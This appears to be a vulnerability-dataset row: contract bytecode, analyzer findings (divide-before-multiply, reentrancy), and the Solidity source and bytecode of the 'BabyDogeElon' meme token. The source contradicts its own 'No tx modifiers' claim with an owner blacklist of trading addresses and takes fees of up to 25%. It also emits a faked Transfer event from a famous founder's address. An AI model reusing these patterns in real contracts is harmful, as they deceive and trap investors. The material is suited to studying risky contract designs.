08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129d36022913960400191505060405180910390fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611698576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129d36022913960400191505060405180910390fd5b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611766576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129d36022913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156117ef57600080fd5b505afa158015611803573d6000803e3d6000fd5b505050506040513d602081101561181957600080fd5b81019080805190602001909291905050509050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915090505481565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166313bbe5b93330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561192457600080fd5b505af1158015611938573d6000803e3d6000fd5b505050506040513d602081101561194e57600080fd5b81019080805190602001909291905050506119b4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180612a6b6030913960400191505060405180910390fd5b6119bd8161253c565b50565b60035481565b600a5481565b600a546003541115611a46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f546f74616c205374616b657320616d6f756e742065786365656400000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166313bbe5b93330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611af757600080fd5b505af1158015611b0b573d6000803e3d6000fd5b505050506040513d6020811015611b2157600080fd5b8101908080519060200190929190505050611b87576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180612a3d602e913960400191505060405180910390fd5b6000806003541115611bc657611bc3600a611bb5600454611ba786612186565b6121da90919063ffffffff16565b61226090919063ffffffff16565b90505b60006003541115611bdb57611bda8161253c565b5b6000611be6336122aa565b905080601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550611c9f601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611c9184866124f290919063ffffffff16565b61267290919063ffffffff16565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600654601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600954601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506000611dc933611f6b565b905080611e155742600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611e3c611e2b84866124f290919063ffffffff16565b60035461267290919063ffffffff16565b600381905550611e4b33611ef1565b7f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c33611e8085876124f290919063ffffffff16565b85604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150505050565b600080611ecc83611514565b9050611ee36003548261226090919063ffffffff16565b915050919050565b600b5481565b6000611efc82611f6b565b905080611f6757600f829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5050565b600080600090505b600f8054905081101561200057600f8181548110611f8d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ff5576001915050612006565b600181019050611f73565b50600090505b919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461206357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129d36022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60008061219d6064846126fa90919063ffffffff16565b905060006121ce6002600a0a6064026121c06064856121da90919063ffffffff16565b61226090919063ffffffff16565b90508092505050919050565b6000808314156121ed576000905061225a565b60008284029050828482816121fe57fe5b0414612255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806129f56021913960400191505060405180910390fd5b809150505b92915050565b60006122a283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612715565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612331576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129d36022913960400191505060405180910390fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050600061240d6008546123ff601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546123f160116000600189038152602001908152602001600020546006546124f290919063ffffffff16565b6121da90919063ffffffff16565b61226090919063ffffffff16565b9050600854612491601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461248360116000600188038152602001908152602001600020546006546124f290919063ffffffff16565b6121da90919063ffffffff16565b8161249857fe5b06601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055508092505050919050565b600061253483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127db565b905092915050565b6000612567600754612559600854856121da90919063ffffffff16565b61267290919063ffffffff16565b905060006125806003548361226090919063ffffffff16565b90506125976003548361289b90919063ffffffff16565b6007819055506125b28160065461267290919063ffffffff16565b6006819055506125e3816011600060016009540381526020019081526020016000205461267290919063ffffffff16565b601160006009548152602001908152602001600020819055507fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b66009548433604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1600960008154809291906001019190505550505050565b6000808284019050838110156126f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600081826001848601038161270b57fe5b0402905092915050565b600080831182906127c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561278657808201518184015260208101905061276b565b50505050905090810190601f1680156127b35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816127cd57fe5b049050809150509392505050565b6000838311158290612888576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561284d578082015181840152602081019050612832565b50505050905090810190601f16801561287a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60006128dd83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506128e5565b905092915050565b6000808314158290612992576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561295757808201518184015260208101905061293c565b50505050905090810190601f1680156129845780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082848161299c57fe5b069050939250505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e747261637445524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7757697468647261772063616e206f6e6c7920626520646f6e652061667465722033302064617973546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e7445524332303a20596f752772206e6f7420616c6c6f77656420746f2075736520746869732066756e6374696f6ea26469706673582212202ee3ca10a0084ce5f0fffc0e85a6d5e8606cf07d11dd180f3c6e5a5b8f09462564736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,798 |
0x6e805f975c36a9823ac4eede77397ff4cbce8b90
|
/**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
/*
Shibmerican!
t.me/Shibmerican
Celebrating the 4th of July!
// No dev-wallets
// Locked liquidity
// Renounced ownership!
// No tx modifiers
// Community-Driven
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * :::::::::::::::::::::::::|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * :::::::::::::::::::::::::|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
| * * * * * * * * * ::::::::::::::::::::;::::|
|* * * * * * * * * * OOOOOOOOOOOOOOOOOOOOOOOOO|
|:::::::::::::::::::::::::::::::::::::::::::::|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|:::::::::::::::::::::::::::::::::::::::::::::|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
|:::::::::::::::::::::::::::::::::::::::::::::|
|OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO|
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyDogeElon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BabyDogeElon";
string private constant _symbol = "BabyDogeElon";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x08BAD4e49dceaF5b3bE04C5137f52484e6c5F5e6);
_feeAddrWallet2 = payable(0x971d6A790083E70663e8bdf87dC9237f5cDFd1cb);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 5;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 5;
_feeAddr2 = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610311578063b515566a1461034e578063c3c8cd8014610377578063dd62ed3e1461038e576100fe565b806370a0823114610267578063715018a6146102a45780638da5cb5b146102bb57806395d89b41146102e6576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780635932ead1146102275780636fc3eaec14610250576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103cb565b60405161012591906123ee565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906120ce565b610408565b60405161016291906123d3565b60405180910390f35b34801561017757600080fd5b50610180610426565b60405161018d9190612530565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b8919061207f565b61043a565b6040516101ca91906123d3565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190611ff1565b610513565b005b34801561020857600080fd5b50610211610603565b60405161021e91906125a5565b60405180910390f35b34801561023357600080fd5b5061024e6004803603810190610249919061214b565b61060c565b005b34801561025c57600080fd5b506102656106be565b005b34801561027357600080fd5b5061028e60048036038101906102899190611ff1565b610730565b60405161029b9190612530565b60405180910390f35b3480156102b057600080fd5b506102b9610781565b005b3480156102c757600080fd5b506102d06108d4565b6040516102dd91906123b8565b60405180910390f35b3480156102f257600080fd5b506102fb6108fd565b60405161030891906123ee565b60405180910390f35b34801561031d57600080fd5b50610338600480360381019061033391906120ce565b61093a565b60405161034591906123d3565b60405180910390f35b34801561035a57600080fd5b506103756004803603810190610370919061210a565b610958565b005b34801561038357600080fd5b5061038c610aa8565b005b34801561039a57600080fd5b506103b560048036038101906103b09190612043565b610b22565b6040516103c29190612530565b60405180910390f35b60606040518060400160405280600c81526020017f42616279446f6765456c6f6e0000000000000000000000000000000000000000815250905090565b600061041c610415610ba9565b8484610bb1565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b6000610447848484610d7c565b61050884610453610ba9565b61050385604051806060016040528060288152602001612bee60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104b9610ba9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113819092919063ffffffff16565b610bb1565b600190509392505050565b61051b610ba9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059f906124b0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610614610ba9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610698906124b0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ff610ba9565b73ffffffffffffffffffffffffffffffffffffffff161461071f57600080fd5b600047905061072d816113e5565b50565b600061077a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e0565b9050919050565b610789610ba9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d906124b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f42616279446f6765456c6f6e0000000000000000000000000000000000000000815250905090565b600061094e610947610ba9565b8484610d7c565b6001905092915050565b610960610ba9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e4906124b0565b60405180910390fd5b60005b8151811015610aa457600160066000848481518110610a38577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9c90612846565b9150506109f0565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae9610ba9565b73ffffffffffffffffffffffffffffffffffffffff1614610b0957600080fd5b6000610b1430610730565b9050610b1f8161154e565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1890612510565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8890612450565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6f9190612530565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de3906124f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5390612410565b60405180910390fd5b60008111610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906124d0565b60405180910390fd5b6005600a81905550600a600b81905550610eb76108d4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f255750610ef56108d4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561137157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610fce5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610fd757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156110825750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110d85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156110f05750600f60179054906101000a900460ff165b156111a05760105481111561110457600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061114f57600080fd5b601e4261115c9190612666565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561124b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112a15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112b7576005600a819055506014600b819055505b60006112c230610730565b9050600f60159054906101000a900460ff1615801561132f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113475750600f60169054906101000a900460ff165b1561136f576113558161154e565b6000479050600081111561136d5761136c476113e5565b5b505b505b61137c838383611848565b505050565b60008383111582906113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c091906123ee565b60405180910390fd5b50600083856113d891906